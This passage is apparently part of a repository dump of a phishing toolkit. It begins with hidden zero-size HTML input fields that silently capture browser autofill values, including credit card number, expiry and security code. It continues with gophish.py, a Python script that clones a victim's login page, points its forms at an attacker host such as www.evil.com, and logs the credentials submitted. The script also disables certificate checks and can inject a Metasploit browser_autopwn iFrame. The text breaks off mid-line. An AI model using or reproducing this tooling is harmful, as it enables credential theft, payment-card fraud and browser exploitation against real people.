x-autocompletetype="phone" id="phone" name="phone"/ 105 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="organization" x-autocompletetype="organization" id="organization" name="organization"/ 106 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="company" x-autocompletetype="company" id="company" name="company"/ 107 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="cc-number" x-autocompletetype="cc-number" id="cc-number" name="cc-number"/ 108 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="cc-exp-month" x-autocompletetype="cc-exp-month" id="cc-exp-month" name="cc-exp-month"/ 109 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="cc-exp" x-autocompletetype="cc-exp" id="cc-exp" name="cc-exp"/ 110 | input type="text" style="font-size: 1px; opacity: 1.0; line-height: 0px; color: #fff; border: none; height: 0px; width: 0px;" autocomplete="cc-csc" x-autocompletetype="cc-csc" id="cc-csc" name="cc-csc"/ 111 | -------------------------------------------------------------------------------- /gophish.py: -------------------------------------------------------------------------------- 1 | import re 2 | import mechanize 3 | import sys 4 | import os 5 | import cherrypy 6 | import datetime 7 | import argparse 8 | import ssl 9 | from bs4 import BeautifulSoup 10 | 11 | # Build argument list for running the script 12 | parser = argparse.ArgumentParser(prog='gophish.py', 13 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 14 | description='Automatically setup a phishing site.', 15 | epilog='Example: gophish.py --phish https://www.victim.com/login.php --replace https://www.evil.com --port 443 --ssl --sslchain chain.crt --sslcert ssl.crt --sslkey ssl.key') 16 | parser.add_argument('--phish', 17 | required=True, 18 | help='the full URL to phish back to the victim (must include http(s)://)') 19 | parser.add_argument('--replace', 20 | required=True, 21 | help='the IP/FQDN to replace FORM actions with (must include http(s):// and final /)') 22 | parser.add_argument('--logfile', 23 | default='phishlog.txt', 24 | help='log file to store submitted form values') 25 | parser.add_argument('--listen', 26 | default='0.0.0.0', 27 | help='the IP to bind to') 28 | parser.add_argument('--port', 29 | default=80, 30 | type=int, 31 | help='the port to start the listening web server on') 32 | parser.add_argument('--ssl', 33 | action='store_const', 34 | const=1, 35 | default=1, 36 | help='enable SSL on the running port') 37 | parser.add_argument('--sslchain', 38 | default='chain.crt', 39 | help='certificate chain file to use when ssl option is enabled') 40 | parser.add_argument('--sslcert', 41 | default='ssl.crt', 42 | help='certificate file to use to use when ssl option is enabled') 43 | parser.add_argument('--sslkey', 44 | default='ssl.key', 45 | help='private key file to use to use when ssl option is enabled') 46 | parser.add_argument('--autopwn', 47 | help='Metasploit auxiliary/server/browser_autopwn URL to inject as an iFrame') 48 | parser.add_argument('--autofill', 49 | help='file to use to autosubmit autocomplete fields') 50 | parser.add_argument('--redirect', 51 | help='redirect requests for this address somewhere else') 52 | parser.add_argument('--redirectto', 53 | default='www.google.com', 54 | help='redirect requests in the redirect option to this address (full link, must include http(s)://)') 55 | parser.add_argument('--landing', 56 | help='redirect to this landing page instead of original site after form is submitted (include full link)') 57 | parser.add_argument('--clickthrough', 58 | help='file to serve up after user enters form credentials on main phish page') 59 | parser.add_argument('--clickable', 60 | help='used in combination with clickthrough, comma separated list of files to serve based on requested name') 61 | parser.add_argument('--useragent', 62 | help='file to use to pass a user agent value in the request') 63 | parser.add_argument('--cookie', 64 | help='send a cookie or cookies in the request') 65 | parser.add_argument('--sendcookies', 66 | action='store_const', 67 | const=1, 68 | default=1, 69 | help='initiate a connection, get the cookies, send cookies back in second connection') 70 | parser.add_argument('--proxy', 71 | default='noproxy', 72 | help='access the page to be phished via a proxy') 73 | parser.add_argument('--proxyport', 74 | default='noproxy', 75 | help='proxy port') 76 | parser.add_argument('--proxyuser', 77 | default='', 78 | help='username for the proxy') 79 | parser.add_argument('--proxypass', 80 | default='', 81 | help='password for the proxy') 82 | parser.set_defaults(logfile='phishlog.txt', listen='0.0.0.0', port=80, ssl=0, sslchain='chain.crt', sslcert='ssl.crt', sslkey='ssl.key', redirectto='www.google.com', sendcookie=0) 83 | 84 | # Hold argument values in args 85 | args = vars(parser.parse_args()) 86 | 87 | # Find necessary portions of phish target and attack target. 88 | # This includes protocol (http or https), FQDN, and the URI for each 89 | phishsource = args['phish'] 90 | phishhost = args['replace'] 91 | phishget = phishsource.rsplit('/', 1)[0]+'/' 92 | htype = phishget.split(':', 1)[0] 93 | stype = phishhost.split(':', 1)[0] 94 | remhttp = phishget.split(':', 1)[1] 95 | sremhttp = phishhost.split(':', 1)[1] 96 | domainget = remhttp.split('/', 1)[1].split('/', 1)[1].split('/', 1)[0] 97 | hostget = sremhttp.split('/', 1)[1].split('/', 1)[1].split('/', 1)[0] 98 | faviconico = 'favicon.ico' 99 | cherrylog = args['logfile'] 100 | redirecte = '' 101 | redirectr = '' 102 | clickfiles = dict() 103 | proxy = args['proxy'] 104 | proxyport = args['proxyport'] 105 | proxyuser = args['proxyuser'] 106 | proxypass = args['proxypass'] 107 | proxycreds = '' 108 | 109 | # Create a mechanized browser to connect to the phish target and grab the response 110 | browse = mechanize.Browser() 111 | browse.set_handle_robots(False) 112 | 113 | # Disable certificate validation, mostly for if using a proxy 114 | try: 115 | _create_unverified_https_context = ssl._create_unverified_context 116 | except AttributeError: 117 | pass 118 | else: 119 | ssl._create_default_https_context = _create_unverified_https_context 120 | 121 | # Setup proxy if used 122 | if re.search('^noproxy', proxy) is None: 123 | if re.search('[a-zA-Z0-9]', proxyuser) is not None and re.search('[a-zA-Z0-9]', proxyport) is not None: 124 | proxycreds = proxyuser + ':' + proxypass + '@' 125 | 126 | if re.search('^noproxy', proxyport) is None: 127 | browse.set_proxies({ 128 | "http" : proxycreds + proxy + ':' + proxyport, 129 | "https" : proxycreds + proxy + ':' + proxyport,}) 130 | else: 131 | browse.set_proxies({ 132 | "http" : proxycreds + proxy, 133 | "https" : proxycreds + proxy,}) 134 | 135 | if re.search('[a-zA-Z0-9]', proxyuser) is not None and re.search('[a-zA-Z0-9]', proxyport) is not None: 136 | browse.add_proxy_password(proxyuser, proxypass) 137 | 138 | # Determine if user agent was set, 139 | # if so then set argument, otherwise it is empty 140 | if args['useragent'] is not None: 141 | uafile = open(args['useragent'], 'r') 142 | uaheader = uafile.readline() 143 | browse.addheaders = [('User-Agent', uaheader)] 144 | uafile.close() 145 | 146 | # if cookie option was set, then send the cookie in the connection 147 | if args['cookie'] is not None and args['useragent'] is not None: 148 | browse.addheaders.append('Cookie', args['cookie']) 149 | elif args['cookie'] is not None: 150 | browse.addheaders = [('Cookie', args['cookie'])] 151 | 152 | # if sendcookies option was enabled, then connect, 153 | # grab the cookies, and use them in the second connection 154 | if args['sendcookies'] == 1: 155 | cookies = mechanize.LWPCookieJar() 156 | browse.set_cookiejar(cookies) 157 | browse.open(phishsource) 158 | 159 | # Write out the favicon 160 | try: 161 | browse.open(faviconico) 162 | favicodata = browse.response().read() 163 | favicofile = open('favicon.ico', 'w') 164 | favicofile.write(favicodata) 165 | favicofile.close() 166 | except: 167 | pass 168 | 169 | browse.open(phishsource) 170 | phishpage = browse.response().read() 171 | browse.close() 172 | 173 | # Use Beautiful soup to handle the HTML response 174 | soup = BeautifulSoup(phishpage, "lxml") 175 | 176 | # If autopwn has been configured, implement functionality 177 | if args['autopwn'] is not None: 178 | # First perform regex to make sure halfway proper link was submitted 179 | if re.search('^(http|https)\:\/\/[a-zA-Z0-9]+', args['autopwn']): 180 | # Build frame for HTML response and store in BeautifulSoup object 181 | evilframe = '